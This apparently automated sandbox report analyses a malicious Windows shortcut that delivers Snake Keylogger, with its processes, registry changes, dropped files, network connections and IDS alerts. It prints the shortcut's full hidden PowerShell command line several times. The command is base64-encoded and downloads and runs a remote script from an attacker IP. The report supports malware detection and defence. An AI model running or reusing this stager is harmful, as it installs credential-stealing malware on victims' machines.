| File name: | Document-00123.lnk |
| Full analysis: | https://app.any.run/tasks/639bd491-fbe8-44a3-a25d-3d4f533021b7 |
| Verdict: | Malicious activity |
| Threats: | A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools. |
| Analysis date: | March 28, 2025, 17:06:41 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-ms-shortcut |
| File info: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon, Archive, ctime=Wed Mar 12 15:11:09 2025, atime=Wed Mar 12 15:11:09 2025, mtime=Wed Mar 12 15:11:09 2025, length=278528, window=showminnoactive, IDListSize 0x0135, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\cmd.exe" |
| MD5: | 45E0778EEE62DCC18250718528A2EBE5 |
| SHA1: | 42A686877A6CAFE68B69CBFDA5C3D18771AD7728 |
| SHA256: | F6617277EED1FB2D8F4CE67480C088620C102F62AEB584BB0A877ABD43A7AD28 |
| SSDEEP: | 96:8ijjJN2edId1ZCVg1OwJGQPD054+v+iRkue:8wfdId1ZCWOwJxQ4oVk |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 2136)
- powershell.exe (PID: 8140)
Changes powershell execution policy (Bypass)
- cmd.exe (PID: 8012)
Bypass execution policy to execute commands
- powershell.exe (PID: 8140)
Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)
- powershell.exe (PID: 8140)
Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)
- powershell.exe (PID: 8140)
Uses AES cipher (POWERSHELL)
- powershell.exe (PID: 8140)
Create files in the Startup directory
- powershell.exe (PID: 8140)
Steals credentials from Web Browsers
- powershell.exe (PID: 8140)
SNAKEKEYLOGGER has been detected (SURICATA)
- powershell.exe (PID: 8140)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 8140)
Actions looks like stealing of personal data
- powershell.exe (PID: 8140)
SUSPICIOUS
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 2136)
- powershell.exe (PID: 8140)
Base64-obfuscated command line is found
- cmd.exe (PID: 5508)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 5508)
- cmd.exe (PID: 8012)
Writes data into a file (POWERSHELL)
- powershell.exe (PID: 2136)
BASE64 encoded PowerShell command has been detected
- cmd.exe (PID: 5508)
Gets file extension (POWERSHELL)
- powershell.exe (PID: 2136)
The process executes VB scripts
- powershell.exe (PID: 2136)
Creates FileSystem object to access computer's file system (SCRIPT)
- cscript.exe (PID: 7400)
- wscript.exe (PID: 7796)
Writes binary data to a Stream object (SCRIPT)
- cscript.exe (PID: 7400)
- wscript.exe (PID: 7796)
Executing commands from a ".bat" file
- cscript.exe (PID: 7400)
- cmd.exe (PID: 7572)
- wscript.exe (PID: 7796)
- cmd.exe (PID: 7904)
Starts CMD.EXE for commands execution
- cscript.exe (PID: 7400)
- cmd.exe (PID: 7572)
- wscript.exe (PID: 7796)
- cmd.exe (PID: 7904)
Runs shell command (SCRIPT)
- cscript.exe (PID: 7400)
- wscript.exe (PID: 7796)
Application launched itself
- cmd.exe (PID: 7572)
- cmd.exe (PID: 7904)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 8012)
Connects to the server without a host name
- powershell.exe (PID: 2136)
Possibly malicious use of IEX has been detected
- cmd.exe (PID: 8012)
Checks for external IP
- svchost.exe (PID: 2196)
- powershell.exe (PID: 8140)
Connects to unusual port
- powershell.exe (PID: 2136)
The process verifies whether the antivirus software is installed
- powershell.exe (PID: 8140)
Reads security settings of Internet Explorer
- ShellExperienceHost.exe (PID: 5404)
INFO
Disables trace logs
- powershell.exe (PID: 2136)
- powershell.exe (PID: 8140)
Create files in a temporary directory
- cscript.exe (PID: 7400)
Checks proxy server information
- powershell.exe (PID: 2136)
- powershell.exe (PID: 8140)
- BackgroundTransferHost.exe (PID: 7608)
- slui.exe (PID: 7476)
Reads security settings of Internet Explorer
- cscript.exe (PID: 7400)
- BackgroundTransferHost.exe (PID: 1184)
- BackgroundTransferHost.exe (PID: 7448)
- BackgroundTransferHost.exe (PID: 7380)
- BackgroundTransferHost.exe (PID: 8032)
- BackgroundTransferHost.exe (PID: 7608)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 8140)
Converts byte array into Unicode string (POWERSHELL)
- powershell.exe (PID: 8140)
Converts byte array into ASCII string (POWERSHELL)
- powershell.exe (PID: 8140)
Gets data length (POWERSHELL)
- powershell.exe (PID: 8140)
Reads the software policy settings
- BackgroundTransferHost.exe (PID: 7608)
- slui.exe (PID: 7276)
- slui.exe (PID: 7476)
Found Base64 encoded access to Marshal class via PowerShell (YARA)
- cmd.exe (PID: 8012)
- powershell.exe (PID: 8140)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 8140)
Found Base64 encoded text manipulation via PowerShell (YARA)
- powershell.exe (PID: 8140)
Reads the computer name
- ShellExperienceHost.exe (PID: 5404)
Checks supported languages
- ShellExperienceHost.exe (PID: 5404)
Creates files or folders in the user directory
- BackgroundTransferHost.exe (PID: 7608)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .lnk | | | Windows Shortcut (100) |
|---|
EXIF
LNK
| Flags: | IDList, LinkInfo, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon |
|---|---|
| FileAttributes: | Archive |
| CreateDate: | 2025:03:12 15:11:09+00:00 |
| AccessDate: | 2025:03:12 15:11:09+00:00 |
| ModifyDate: | 2025:03:12 15:11:09+00:00 |
| TargetFileSize: | 278528 |
| IconIndex: | 11 |
| RunWindow: | Show Minimized No Activate |
| HotKey: | (none) |
| TargetFileDOSName: | cmd.exe |
| DriveType: | Fixed Disk |
| DriveSerialNumber: | B439-BFAE |
| VolumeLabel: | Windows Server |
| LocalBasePath: | C:\Windows\System32\cmd.exe |
| Description: | Document-00123 |
| RelativePath: | ..\..\..\Windows\System32\cmd.exe |
| CommandLineArguments: | /c powershell -WindowStyle Hidden -EncodedCommand CgAKACQAQQAxAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBVADMAbAB6AGQARwBWAHQATABrADUAbABkAEMANQBYAFoAVwBKAEQAYgBHAGwAbABiAG4AUQA9ACcAKQApAAoACgAKACQAQQAyAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACgAJABBADEAKQAKAAoACgAkAEEAMwA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAUgBHADkAMwBiAG0AeAB2AFkAVwBSAFQAZABIAEoAcABiAG0AYwA9ACcAKQApAAoACgAKACQAQQA1AD0AIgBoAHQAdABwADoALwAvADgANwAuADEAMgAxAC4ANwA5AC4AMQAwADcAOgA1ADAAMAAwAC8AZABvAHcAbgBsAG8AYQBkAC8AZAAyAGEAMwBkAGYAMgA4ADIANABjAGYANAA0AGYANgA5ADkAOQAzADAAYgBlAGIAMAA1ADcAMQAxAGEANABhAC4AdAB4AHQAIgAKAAoACgAkAEEANgA9ACQAQQAyAC4AJABBADMAKAAkAEEANQApAAoACgAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAQQA2AAoACgAgACAAIAAgAA== |
| IconFileName: | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe |
| MachineID: | server97406 |
Total processes
165
Monitored processes
25
Malicious processes
7
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 732 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1184 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2136 | powershell -WindowStyle Hidden -EncodedCommand CgAKACQAQQAxAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBVADMAbAB6AGQARwBWAHQATABrADUAbABkAEMANQBYAFoAVwBKAEQAYgBHAGwAbABiAG4AUQA9ACcAKQApAAoACgAKACQAQQAyAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACgAJABBADEAKQAKAAoACgAkAEEAMwA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAUgBHADkAMwBiAG0AeAB2AFkAVwBSAFQAZABIAEoAcABiAG0AYwA9ACcAKQApAAoACgAKACQAQQA1AD0AIgBoAHQAdABwADoALwAvADgANwAuADEAMgAxAC4ANwA5AC4AMQAwADcAOgA1ADAAMAAwAC8AZABvAHcAbgBsAG8AYQBkAC8AZAAyAGEAMwBkAGYAMgA4ADIANABjAGYANAA0AGYANgA5ADkAOQAzADAAYgBlAGIAMAA1ADcAMQAxAGEANABhAC4AdAB4AHQAIgAKAAoACgAkAEEANgA9ACQAQQAyAC4AJABBADMAKAAkAEEANQApAAoACgAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAQQA2AAoACgAgACAAIAAgAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5404 | "C:\WINDOWS\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca | C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Shell Experience Host Version: 10.0.19041.3758 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5508 | "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -EncodedCommand CgAKACQAQQAxAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBVADMAbAB6AGQARwBWAHQATABrADUAbABkAEMANQBYAFoAVwBKAEQAYgBHAGwAbABiAG4AUQA9ACcAKQApAAoACgAKACQAQQAyAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACgAJABBADEAKQAKAAoACgAkAEEAMwA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAUgBHADkAMwBiAG0AeAB2AFkAVwBSAFQAZABIAEoAcABiAG0AYwA9ACcAKQApAAoACgAKACQAQQA1AD0AIgBoAHQAdABwADoALwAvADgANwAuADEAMgAxAC4ANwA5AC4AMQAwADcAOgA1ADAAMAAwAC8AZABvAHcAbgBsAG8AYQBkAC8AZAAyAGEAMwBkAGYAMgA4ADIANABjAGYANAA0AGYANgA5ADkAOQAzADAAYgBlAGIAMAA1ADcAMQAxAGEANABhAC4AdAB4AHQAIgAKAAoACgAkAEEANgA9ACQAQQAyAC4AJABBADMAKAAkAEEANQApAAoACgAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAQQA2AAoACgAgACAAIAAgAA== | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7244 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7276 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7380 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7400 | "C:\WINDOWS\system32\cscript.exe" /nologo C:\Users\admin\AppData\Local\Temp\tmpC258.vbs | C:\Windows\System32\cscript.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Console Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
Total events
15 909
Read events
15 877
Write events
32
Delete events
0
Modification events
| (PID) Process: | (2136) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids |
| Operation: | write | Name: | VBSFile |
Value: | |||
| (PID) Process: | (1184) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (1184) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (1184) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (8140) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (8140) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (8140) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (8140) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (8140) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (8140) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
Executable files
0
Suspicious files
7
Text files
9
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7608 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\42e05a98-2ac8-40dd-8cf8-8377a3257b25.down_data | — | |
MD5:— | SHA256:— | |||
| 7608 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\42e05a98-2ac8-40dd-8cf8-8377a3257b25.dec80c97-3d06-4e6b-b343-81337ff833f9.down_meta | binary | |
MD5:F3B039B628A18B2DEE020F6531A9A22B | SHA256:C7A0EDFB3191AEF00DC714B45CCF6317FCC6B5E8C8ABCAE42F5A96D7306A80F8 | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Document-00123.vbs | text | |
MD5:E92B80E112C07E88106AF959D5616F1D | SHA256:947E2D6BA6F991FACCF24F6AA1F3A2457584E9AE285EC0463F757EFFF6891EA0 | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cj2yktcr.4x0.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_e1yqf42x.r21.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7608 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D | binary | |
MD5:4A53E41FCD6E6B79D6020C4864FBF864 | SHA256:33B10A6E4980B101741EF005965EAFD852298EE591230B4E326B6FD20B6D63D0 | |||
| 7608 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\7f1b0793-357f-4873-8427-8debfd84dc80.up_meta_secure | binary | |
MD5:048168BE1ACEEF8B29BD9CC64FBF519B | SHA256:21CA65C7D1FCCC94AF03D98E679C0A343BFB2E274D87F8D1570494B7C8123E6F | |||
| 7608 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D | binary | |
MD5:57AB01678896CB9DA3316309CC6A193B | SHA256:9B9CFA7C0931511C2EFC01A669701830E2BB7D13FD53098625E1A321DB6D4C53 | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:7D8D635DC91E20EA88DF61D7ED403187 | SHA256:8C6708E92840CD9340CF0CD18192D95C96695924340155518C92A2C44775A4DB | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Local\Temp\tmpC258.vbs | text | |
MD5:E92B80E112C07E88106AF959D5616F1D | SHA256:947E2D6BA6F991FACCF24F6AA1F3A2457584E9AE285EC0463F757EFFF6891EA0 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
35
DNS requests
25
Threats
11
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2136 | powershell.exe | GET | 200 | 45.141.233.51:80 | http://45.141.233.51/Document-00123.vbs | unknown | — | — | unknown |
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.19.11.105:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
2136 | powershell.exe | GET | 200 | 87.121.79.107:5000 | http://87.121.79.107:5000/download/d2a3df2824cf44f699930beb05711a4a.txt | unknown | — | — | unknown |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
7756 | backgroundTaskHost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
8140 | powershell.exe | GET | 200 | 132.226.247.73:80 | http://checkip.dyndns.org/ | unknown | — | — | whitelisted |
7608 | BackgroundTransferHost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1388 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
8140 | powershell.exe | GET | 200 | 132.226.247.73:80 | http://checkip.dyndns.org/ | unknown | — | — | whitelisted |
1388 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
5496 | MoUsoCoreWorker.exe | 2.19.11.105:80 | crl.microsoft.com | Elisa Oyj | NL | whitelisted |
2104 | svchost.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2136 | powershell.exe | 87.121.79.107:5000 | — | Neterra Ltd. | BG | unknown |
2136 | powershell.exe | 45.141.233.51:80 | — | Euro Crypt EOOD | DE | unknown |
2112 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.172.255.216:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
6544 | svchost.exe | 40.126.31.3:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
arc.msn.com |
| whitelisted |
checkip.dyndns.org |
| whitelisted |
reallyfreegeoip.org |
| malicious |
www.bing.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2136 | powershell.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 4 |
2136 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2136 | powershell.exe | A Network Trojan was detected | SUSPICIOUS [ANY.RUN] VBS is used to run Shell |
2136 | powershell.exe | Potentially Bad Traffic | ET INFO Dotted Quad Host VBS Request |
2196 | svchost.exe | Device Retrieving External IP Address Detected | ET DYN_DNS External IP Lookup Domain in DNS Query (checkip .dyndns .org) |
2196 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Address Lookup Domain (reallyfreegeoip .org) |
8140 | powershell.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup - checkip.dyndns.org |
2196 | svchost.exe | Misc activity | ET INFO External IP Address Lookup Domain in DNS Lookup (reallyfreegeoip .org) |
8140 | powershell.exe | Device Retrieving External IP Address Detected | ET INFO 404/Snake/Matiex Keylogger Style External IP Check |
8140 | powershell.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup - checkip.dyndns.org |